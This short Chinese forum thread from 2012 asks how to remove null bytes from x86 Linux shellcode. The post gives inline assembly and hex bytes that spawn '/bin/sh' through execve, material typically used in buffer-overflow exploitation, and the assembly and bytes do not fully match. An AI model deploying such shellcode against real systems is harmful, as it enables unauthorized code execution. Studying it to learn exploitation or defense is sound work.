大house 发表于 2012-12-3 21:57:25

(急)代码优化问题(请大仙帮忙)

void main(){
__asm__(
“jmp call;”
“shell:”
“popl %esi;”
“xorl %eax, %eax;”
“movb %eax, 0x7(%esi);”
“movl %esi, 0x8(%esi) ;”
“movl %eax, 0xc(%esi);”
“movb $0xb, %al;”
“movl %esi, %ebx ;”
“leal 0x8(%esi), %ecx ;”
“movl $0x0, %edx ;”
“int $0x80 ;”
“xorl %ebx, %ebx;”
“movl %ebx, %eax;”
“inc %eax;”
“int $0x80 ;”
“call: ;”
“call shell;”
“.string \"/bin/sh\"
");
}
这是代码
      
对应的机械语言是
"\xeb\x2a\x5e\xc6\x46\x07\x00\x89\x76\x08\xc7\x46\x0c\x00\x00\x00\x00""\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01""\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff""\x2f\x62\x69\x6e\x2f\x73\x68";

问题出现在机械语言中出现了很多x00也就是null值问题出在movl $0x0, %edx 这里请问如何优化这句,前提是不改变其他的命令

大house 发表于 2012-12-3 22:50:25

谢谢,以解决
页: [1]
查看完整版本: (急)代码优化问题(请大仙帮忙)